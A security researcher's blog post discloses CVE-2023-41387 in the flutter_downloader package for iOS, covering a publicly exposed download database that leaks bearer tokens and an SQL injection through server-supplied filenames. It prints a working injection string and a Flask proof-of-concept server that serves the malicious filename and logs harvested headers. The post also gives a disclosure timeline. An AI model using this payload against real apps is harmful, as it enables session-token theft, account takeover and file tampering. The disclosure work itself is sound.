Two flaws in a popular Flutter package lead to Token Theft & Arbitrary File Write

Jan Seredynski | 13 SEP 2023

In this blog post, I will share a tale of an iOS app that became a victim of a highly exploitable Flutter framework. Unfortunately, this framework is quite popular, leaving many apps vulnerable.

A bad actor can exploit the framework through two vulnerabilities:

  • SQL Injection
  • Misconfiguration

Each leading to the same outcome:

  • Steal the user's session token
  • Write an arbitrary file into the user's app container

The vulnerability described in this article received CVE-2023-41387 identifier. You can find more at MITRE database

The Story

I'm on a monthly subscription to an iOS workout app that provides me access to video exercises. Usually, the app needs an Internet connection to stream the videos, but a user can download a few videos for offline usage within the app. One day, I forgot to renew my subscription, and the app blocked my access to the training videos. A few days later, I opened Files app, a filesystem explorer on iOS, and to my surprise, I saw all the downloaded videos I had to pay for in the past. Why would an app store its paid content in a public directory? For sure not out of its own will.

iOS app misconfiguration leads to database leakageLeaked files

But there was one more file that surprised me even more. This file is download_task.sql, which looks like an internal database of the workout app.

I see how a developer could misplace the videos accidentally into a systemwide accessible directory. But I was shocked to see an internal database there. I AirDropped the download_tasks.sql to my MacBook for further analysis.

flutter_downloader SQL database

Shocked by the amount of sensitive data waiting for me to tamper with, I knew a great journey was ahead. Goodbye to my 8 hours of sleep…

Why is the database publicly accessible?

It is a very unfortunate configuration coincidence. The app uses flutter_downloader framework to download videos for later usage. The framework maintains an internal database to keep track of scheduled downloads and their status. Flutter_downloader stores this database inside the app’s container directory, assuming it's accessible privately to the app. However, the app is configured to make this part of the container public. Therefore, all internal files of the framework are exposed to the public.

Misconfigured iOS filesystem

iOS apps may opt-in to make the Documents directory available systemwide for the user by enabling UIFileSharingEnabled and LSSupportsOpeningDocumentsInPlace in the Info.plist. Unfortunately, flutter_downloader uses Documents directory to store its internal files.

Starting from version 1.8.4 (10 months ago), flutter_downloader stopped using Documents directory for the database but introduced a new migration logic that left the app with the same vulnerability. I will describe it more in a next article.

Exploitation

In the remaining part of this blog post, I won't target this workout app, or any other app using this flutter_downloader framework due to ethical and legal concerns. Instead, I created a sample Flutter app that uses flutter_downloader v1.8.3.

Extracting the session token

Flutter_framework provides the developers with an easy-to-use API to download files.

final taskId = await FlutterDownloader.enqueue(
  url: // 'your download link',
  headers: {}, // header (auth token etc)
  savedDir: // destination path
...
);
Dart

If you need to be signed in to download a file, you can add an Authorization header to the headers argument. Below you can see a sample Authorization header holding a Bearer session token.

 Authorization: Bearer XXXXXXXXX 

Once you pass an Authorization header to the flutter_downloader, it's kept in the database forever. Unfortunately, this database is publicly accessible via Files app, so anyone can AirDrop it from your device and check out the content, including the session token headers. This potentially leads to an account takeover.

Session token in clear-text in the database

Below, you can find a demo of a full attack

Writing an arbitrary file to the app's container

We already know that we can read and write to the flutter_downloader's database via the Files app. In this section, I will show you how we can tamper with the database to make the flutter_downloader write an arbitrary file to the app's container.

Writing an arbitrary file to the container allows the attacker to overwrite the state of unlocked premium features, or the amount of currency in an application.

In the video below, I show how we can make flutter_downloader overwrite a file storing the amount of dollars in the app.

This attack is possible because once the attacker has control over the database, it can make flutter_downloader download any file from the Internet and store it at an arbitrary location. The code below shows the vulnerable part of the framework, which overwrites any file at a given path from the database.

// Source: https://github.com/fluttercommunity/flutter_downloader/blob/447702e336345157a4cd8302d68c81a03bb80ac1/ios/Classes/FlutterDownloaderPlugin.m#L962
      
- (void)URLSession:(NSURLSession *)session downloadTask:(NSURLSessionDownloadTask *)downloadTask didFinishDownloadingToURL:(NSURL *)location
{
    // Get the destination file path from the publicly exposed database
    NSURL *destinationURL = [self fileUrlOf:taskId taskInfo:task downloadTask:downloadTask];

    // Overwrite the old file at the destination path
    if ([fileManager fileExistsAtPath:[destinationURL path]]) {
        [fileManager removeItemAtURL:destinationURL error:nil];
    }

    // Overwrite an arbitrary file
    BOOL success = [fileManager copyItemAtURL:location
                                toURL:destinationURL
                                error:&error];
} 
Objective-C

Exploiting the SQL Injection

Below, you can find a part of flutter_downloader that is vulnerable to SQL Injection.

// Source: https://github.com/fluttercommunity/flutter_downloader/blob/447702e336345157a4cd8302d68c81a03bb80ac1/ios/Classes/FlutterDownloaderPlugin.m#L444
NSString *query = [NSString stringWithFormat:
   @"UPDATE task SET file_name=\"%@\" WHERE task_id=\"%@\"",
   filename, taskId];
[_dbManager executeQuery:query];
Objective-C

The String Interpolation inserts the filename just after file_name=".
If a bad actor can control the content of filename, they can set it to e.g.
whatever", url="https://janhacks.re", status=4 where 1 = 1 ;--

After the injection, the complete SQL query will look like this:

UPDATE task SET file_name="whatever", url="https://janhacks.re", status=4 where 1 = 1 ;-- " WHERE task_id="%@"
SQL

" WHERE task_id=\"%@\"" won't be executed because it's commented out.

This query will change the URL of every task in the database to http://janhacks.re and update its status to Failed. When a user opens the app next time, the frameworks will resume failed tasks and send X requests to http://janhacks.re. These requests will contain headers used for the previous downloads. This means the attacker's server will harvest session tokens of every request done by the framework in the past.

Controlling the filename variable

Below you can see that Flutter_downloader blindly uses a filename given by the server and stores it in the database. Then, the attacker can use it as an attack primitive for either SQL Injection, and overwriting an arbitrary file.

 // Source: https://github.com/fluttercommunity/flutter_downloader/blob/447702e336345157a4cd8302d68c81a03bb80ac1/ios/Classes/FlutterDownloaderPlugin.m#L340
- (NSURL*)fileUrlOf:(NSString*)taskId taskInfo:(NSDictionary*)taskInfo downloadTask:(NSURLSessionDownloadTask*)downloadTask {
    NSString *filename = taskInfo[KEY_FILE_NAME];
    NSString *suggestedFilename = downloadTask.response.suggestedFilename;
    // Update the database with the vulnerable UPDATE query
    [weakSelf updateTask:taskId filename:filename]
}
Objective-C

The next step is to set up an HTTPS server that can provide us with a malicious filename. Below you can find my POC.

from flask import Flask, Response, request
import urllib.parse
app = Flask(__name__)

@app.route('/evil/injection')
def injection():
    content = "77777"
    # Use nested SQL Injection to trick the filename sanitizer
    filename = 'injection", url=(SELECT url from task where id = 2), status=4, progress=0 WHERE 1=1; --'
    encoded_filename = urllib.parse.quote(filename)
    response = Response(content, content_type='text/plain')
    response.headers['Content-Disposition'] = f'attachment; filename="{encoded_filename}"; filename*=utf-8''{encoded_filename}'
    return response

@app.route('/evil/log')
def log_headers():
    print(request.headers)
    return "OK"

if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0", port=8282)
Python
  • /evil/injection - injects the SQL Inejction into the database
  • /evil/log - logs all headers from the incomming requests

An attacker can exploit this vulnerability to:

  • Steal the user's session cookie - by replacing all URLs in the database with the attacker's domain
  • Write to an arbitrary file - by replacing one URL

Below is a demo of both vulnerabilities:

Summary

When securing your app, make sure to know your dependencies. Ensure they are not vulnerable to common attacks, and they play well with your app's configurations - e.g. they don't store sensitive data inside directories your app makes public.

Scale of the problem

According to the main repository of Flutter - Pub.dev, flutter_downloader framework has the popularity score of 99%.

flutter_downloader popularity

“Popularity measures the number of apps that depend on a package over the past 60 days. We show this as a percentile from 100%” ~ PubDev

This provides only an estimate of the number of vulnerable apps. To proactively help the affected apps, I automated the process of downloading apps from the AppStore to search for those that might be vulnerable. Notably, I've discovered several banking and government apps that rely on this compromised framework. All the identified apps have been notified.

The vulnerabilities have been fixed in flutter_downloader v1.11.2.

Timeline:

  • August 25th - I notified the maintainers of flutter_downloader about the vulnerabilities
  • August 26th - The maintainers acknowledged the vulnerabilities
  • 2 weeks of working together on the mitigations
  • September 12th - A new version of flutter_downloader with the mitigation was released